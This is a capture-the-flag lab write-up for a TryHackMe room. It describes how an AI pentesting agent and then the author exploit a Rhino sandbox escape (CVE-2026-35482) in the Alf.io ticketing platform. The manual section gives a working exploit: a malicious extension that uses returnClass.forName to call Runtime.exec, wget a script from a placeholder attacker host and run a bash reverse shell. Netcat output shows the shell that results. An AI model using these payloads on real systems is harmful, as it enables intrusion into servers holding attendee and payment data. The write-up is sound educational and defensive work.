# NoScope: Finding RCE

* * *

## Lab Info

| Detail | Info |
| --- | --- |
| Room | NoScope: Finding RCE |
| Platform | TryHackMe |
| Difficulty | Medium |
| Type | CVE Exploitation / AI-Assisted Pentesting |
| CVE | CVE-2026-35482 |
| Target | Alf.io 2.0-M5-2509-1 (event ticketing platform) |
| Knowledge Required | Web, Java, JavaScript, Sandboxing Concepts |

* * *

## Tools Used

*   **NoScope** — AI-driven autonomous pentesting platform
    
*   **Netcat** — Reverse shell listener
    
*   **Python HTTP server** — Serving the reverse shell payload
    
*   **Browser / Admin Panel** — Registering the malicious extension and triggering the exploit
    

* * *

## First Impressions

This room is different from everything else in the challenge so far, and I want to acknowledge that upfront.

Every room until now has followed the same flow: scan, enumerate, find a misconfig, exploit, escalate. This one asks you to do something new — watch an AI agent do the recon and exploitation first, then reproduce the attack manually. That dual structure makes it uniquely valuable, because it forces you to understand the vulnerability at two levels: mechanically (what the agent did) and technically (why it actually works).

The target is **Alf.io** — a real, open-source Java/Spring Boot event ticketing platform. The vulnerability is **CVE-2026-35482**, a sandbox escape to RCE discovered by NoScope's own research team. This is not a synthetic CTF vulnerability. It's a real zero-day that was responsibly disclosed, and this room was built to document how it was found.

* * *

## What is Alf.io?

Alf.io is an open-source platform for managing event ticketing and reservations. It's built on Java/Spring Boot with a PostgreSQL backend — the kind of software a conference or venue organizer would deploy to sell tickets and manage attendees.

One of its features is an **Extensions** system: admins can register custom JavaScript that fires automatically on application events. For example, when a ticket is confirmed, when an invoice is generated, or when an event is published. The hook we care about is called `EVENT_STATUS_CHANGE`.

The idea behind extensions is sound — give organizers flexibility to run custom logic. But server-side JavaScript execution means you need a sandbox to prevent that code from escaping into the host system. That sandbox was the vulnerability.

* * *

## Part 1 — Running NoScope

Before touching anything manually, the room asks you to run **NoScope** against the live target and watch how an autonomous agent finds the vulnerability.

NoScope works through a guided setup wizard:

**Step 1 — Target.** Point it at the Alf.io instance.

**Step 2 — Authentication.** The vulnerable surface is behind the admin panel. NoScope needs credentials to reach it — supplied admin creds so it can explore authenticated endpoints.

**Step 3 — Scope.** Gave it context: Alf.io, Java, the Extensions system is the area of interest.

**Step 4 — Pentest mode.** Selected Quick mode with human approval required for sensitive actions. This means the agent pauses before attempting actual exploitation and asks for confirmation — a useful guardrail when you're watching it work in real time.

Once deployed, the **Agent Hub** shows you multiple sub-agents working in parallel:

*   A **Coordinator** managing the overall engagement
    
*   A **Recon Subagent** mapping the attack surface
    
*   A **Challenger** — responsible for independently reproducing any finding from a clean session before it's promoted to a confirmed vulnerability
    

* * *

## Part 2 — Watching the Agent Think

This is the part that made the room worth doing.

The agent didn't just throw payloads at the Extensions endpoint and call anything that returned a 200 a win. It reasoned through the sandbox design, identified candidates, tested them, and — here's where it gets interesting — **demoted a false positive before reporting it**.

The trace log shows this explicitly:

```plaintext
// [validation] Reproduce from scratch
Picked up the confirmed RCE. Re-running the returnClass.forName PoC
from a fresh admin login to rule out a fluke or leftover state.
```

The first payload the agent tried used `Java.type('java.lang.Runtime')` — the most common Rhino sandbox escape technique. It appeared to work. But tracing it back to source revealed that the `Java` interop binding in Alf.io is deliberately restricted to a single whitelisted class (`alfio.model.CustomerName`). That path was a dead end. The agent caught this, demoted the finding, and kept looking.

What it found instead was much more interesting.

* * *

## The Vulnerability — How the Sandbox Actually Breaks

Inside `alfio.extension.ScriptingExecutionService`, every extension script runs in a fresh Rhino scope with two objects injected:

```java
scope.put("Java", scope, new JavaClassInterop(
    Map.of("alfio.model.CustomerName", alfio.model.CustomerName.class), scope));
scope.put("returnClass", scope, clazz);
```

The `Java` binding is locked down — it only resolves one class. That's why the first payload failed.

But `returnClass` is a different story. It's a **live, fully functional** `java.lang.Class` **object**, injected to help the engine deserialize the script's return value. Whoever wrote the sandbox didn't model it as a security boundary. And `Class.forName(String)` — a method `returnClass` inherits — is completely unrestricted.

So this works:

```javascript
var rtClass = returnClass.forName('java.lang.Runtime');
var runtime = rtClass.getMethod('getRuntime').invoke(null);
var proc = rtClass.getMethod('exec', returnClass.forName('java.lang.String'))
                  .invoke(runtime, 'id');
```

And the deny-list AST validator — designed to block patterns like `java.lang.System`, `Object.getClass()`, and direct reflection keywords — has no idea `returnClass` even exists in scope. `returnClass.forName(...)` sails through untouched.

**Root cause in one line:** a live `java.lang.Class` object exposed to script scope, protected by a deny-list that never modeled it as a threat vector.

This is tracked as **CVE-2026-35482**, rated **CVSS 8.0 (High)**, mapping to **CWE-470 (Unsafe Reflection)** under OWASP A03:2021 — Injection.

* * *

## Part 3 — Manual Exploitation

Once I understood what the agent found, I reproduced the full attack chain by hand. The goal: register a real extension, trigger it, and catch a live reverse shell.

### Setting up the payload

On my attacking machine I wrote a reverse shell script:

```bash
#!/bin/bash
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1 &
```

Served it over HTTP:

```bash
python3 -m http.server 80
```

Started a listener:

```bash
nc -lvnp 4444
```

### Building the malicious extension

The payload uses `returnClass.forName()` chained through three `Runtime.exec()` calls — download the shell script, make it executable, then run it:

```javascript
function getScriptMetadata() {
    return {
        id: 'rce-exploit',
        displayName: 'RCE Exploit',
        version: 0,
        async: false,
        events: ['EVENT_STATUS_CHANGE']
    };
}

function executeScript(scriptEvent) {
    var rtClass = returnClass.forName('java.lang.Runtime');
    var strClass = returnClass.forName('java.lang.String');
    var runtime = rtClass.getMethod('getRuntime').invoke(null);

    // Step 1: Download the reverse shell
    rtClass.getMethod('exec', strClass)
           .invoke(runtime, 'wget http://YOUR_IP/rev.sh -O /home/alfio/rev.sh');

    // Step 2: Make it executable
    rtClass.getMethod('exec', strClass)
           .invoke(runtime, 'chmod 777 /home/alfio/rev.sh');

    // Step 3: Execute it
    rtClass.getMethod('exec', strClass)
           .invoke(runtime, '/home/alfio/rev.sh');

    return { invoiceNumber: 'done' };
}
```

### Registering the extension

Logged into the admin panel at `/admin`, went to **Extension → Add new**, set the path to `System/NoScope RCE`, pasted the payload in and saved it.

The deny-list validator accepted it without complaint. Exactly as expected.

### Triggering the exploit

The dormant "TryHackMe" event in the admin panel was the key. It was sitting unpublished — firing `EVENT_STATUS_CHANGE` requires either publishing or hiding an event.

I clicked **Publish now**.

Within seconds, `nc` caught the callback:

```plaintext
connect to [YOUR_IP] from (UNKNOWN) [10.49.163.230]
alfio@alf-io:~$
```

Shell as `alfio` (uid=1001). The flag was exactly where the agent said it would be:

```bash
cat /etc/flag.txt
THM{REDACTED} ✅
```

* * *

## Quiz Answers

| Question | Answer |
| --- | --- |
| What sandboxing engine is in use? | Mozilla Rhino |
| Which agent independently reproduced the exploit? | Challenger |
| On what event is the payload triggered? | EVENT\_STATUS\_CHANGE |

* * *

## Key Takeaways

**1\. Deny-lists fail against unmodeled objects** The AST validator was genuinely doing its job — it blocked every obvious payload. But it was only checking for patterns it knew about. `returnClass` never appeared in the blocklist because nobody thought to put it there. Allow-lists (explicitly permitting only what should be allowed) are the correct approach for sandboxing. Deny-lists always have gaps.

**2\. "It worked" is not the same as "it's confirmed"** The `Java.type()` path looked like a valid exploit until the agent traced it to source. In a real engagement, reporting that as confirmed RCE would have been a credibility-damaging mistake. False positive discipline — the willingness to discard a promising lead when the evidence doesn't hold — is what separates good security research from noisy scanner output.

**3\. Privileged features need the most rigorous sandboxing** The Extensions system is powerful by design — it executes code on the server. That means the sandbox around it has to be treated like a trust boundary, not a filter. Any live object with reflection capabilities (`forName`, `getMethod`, `invoke`) that gets injected into that scope is a potential escape hatch.

**4\. AI agents don't replace understanding — they accelerate it** Watching NoScope find the vulnerability was useful, but the most valuable moment was understanding *why* `returnClass` worked when `Java.type()` didn't. The agent found the path; I had to understand the mechanism. That combination is more powerful than either alone.

**5\. Business impact compounds the severity** The `alfio` process has direct access to PostgreSQL containing attendee PII, payment data, and secrets. And because the payload rides on routine events like ticket publication, it also functions as a persistence mechanism — every future `EVENT_STATUS_CHANGE` could fire the shell again. The attack surface is wide, and the cleanup after exploitation is non-trivial.

* * *

*Day 12 of 30 ✅ — See you tomorrow.*
